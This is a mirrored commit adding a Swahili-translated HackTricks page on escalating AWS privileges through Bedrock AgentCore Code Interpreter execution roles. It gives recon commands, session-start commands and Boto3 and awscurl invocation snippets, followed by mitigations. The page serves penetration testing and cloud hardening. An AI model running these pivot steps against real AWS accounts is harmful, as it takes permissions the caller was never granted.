mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
+113
@@ -0,0 +1,113 @@
|
||||
# AWS - Bedrock PrivEsc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Amazon Bedrock AgentCore
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter ni mazingira ya utekelezaji yaliyosimamiwa. **Custom Code Interpreters** zinaweza kusanidiwa na **`executionRoleArn`** inayotoa “ruhusa kwa Code Interpreter kufikia huduma za AWS”.
|
||||
|
||||
Kama **lower-privileged IAM principal** anaweza **start + invoke** kikao cha Code Interpreter kilichosanidiwa na **more privileged execution role**, mwitoaji anaweza kwa ufanisi **pivot into the execution role’s permissions** (lateral movement / privilege escalation kulingana na wigo wa role).
|
||||
|
||||
> [!NOTE]
|
||||
> Hii kwa kawaida ni tatizo la **misconfiguration / excessive permissions** (kutoa ruhusa nyingi kwa interpreter execution role na/au kutoa upatikanaji mpana wa invoke).
|
||||
> AWS kwa uwazi inaonya kuepuka privilege escalation kwa kuhakikisha execution roles zina **equal or fewer** privileges kuliko vitambulisho vinavyoruhusiwa kuinvoke.
|
||||
|
||||
#### Masharti ya awali (common misconfiguration)
|
||||
|
||||
- Kuna **custom code interpreter** iliyopo iliyo na **execution role** yenye ruhusa nyingi sana (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities).
|
||||
- Mtumiaji (developer/auditor/CI identity) ana ruhusa za:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) Mtumiaji pia anaweza kuunda interpreters: `bedrock-agentcore:CreateCodeInterpreter` (inawaruhusu kuunda interpreter mpya iliyosanidiwa na execution role, kulingana na org guardrails).
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Orodhesha interpreters (control-plane) na angalia usanidi wao:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> Amri create-code-interpreter inasaidia `--execution-role-arn` ambayo huainisha ruhusa za AWS ambazo interpreter atakuwa nazo.
|
||||
|
||||
#### Hatua 1 - Anzisha sesi (hii inarudisha `sessionId`, si interactive shell)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
|
||||
--name "arte-oussama" \
|
||||
--query sessionId \
|
||||
--output text
|
||||
)
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Hatua ya 2 - Kusababisha utekelezaji wa msimbo (Boto3 au HTTPS iliyosainiwa)
|
||||
|
||||
Hakuna **interactive python shell** kutoka `start-code-interpreter-session`. Utekelezaji hufanyika kupitia **InvokeCodeInterpreter**.
|
||||
|
||||
**Chaguo A - Mfano wa Boto3 (tekeleza Python + thibitisha utambulisho):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
|
||||
|
||||
# Execute python inside the Code Interpreter session
|
||||
resp = client.invoke_code_interpreter(
|
||||
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
|
||||
sessionId="<SESSION_ID>",
|
||||
name="executeCode",
|
||||
arguments={
|
||||
"language": "python",
|
||||
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
|
||||
}
|
||||
)
|
||||
|
||||
# Response is streamed; print events for visibility
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Ikiwa interpreter imewekwa na execution role, matokeo ya `sts:GetCallerIdentity()` yanapaswa kuonyesha utambulisho wa role hiyo (si low-priv caller), ikithibitisha pivot.
|
||||
|
||||
**Chaguo B - ombi la HTTPS lililosainiwa (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
|
||||
--service bedrock-agentcore \
|
||||
--region <Region> \
|
||||
-d '{
|
||||
"name": "executeCode",
|
||||
"arguments": {
|
||||
"language": "python",
|
||||
"code": "print(\"Hello from AgentCore\")"
|
||||
}
|
||||
}'
|
||||
```
|
||||
#### Madhara
|
||||
|
||||
* **Lateral movement** ndani ya upatikanaji wowote wa AWS ambao interpreter execution role ina.
|
||||
* **Privilege escalation** ikiwa interpreter execution role ina ruhusa zaidi kuliko caller.
|
||||
* Ugunduzi ni mgumu zaidi ikiwa CloudTrail data events kwa interpreter invocations hazijawezeshwa (invocations huenda zisihifadhiwe kwa kumbukumbu kwa chaguo-msingi, kulingana na usanidi).
|
||||
|
||||
#### Kupunguza hatari / Kuimarisha usalama
|
||||
|
||||
* **Least privilege** kwa interpreter `executionRoleArn` (itunzwe kama Lambda execution roles / CI roles).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) na nani anaweza kuanza vikao.
|
||||
* Tumia **SCPs** kuzuia InvokeCodeInterpreter isipokuwa kwa agent runtime roles zilizothibitishwa (inaweza kuhitajika utekelezaji ngazi ya shirika).
|
||||
* Washa **CloudTrail data events** zinazofaa kwa AgentCore pale inapofaa; tuma onyo kwa invocations zisizotarajiwa na uundaji wa vikao.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
|
||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user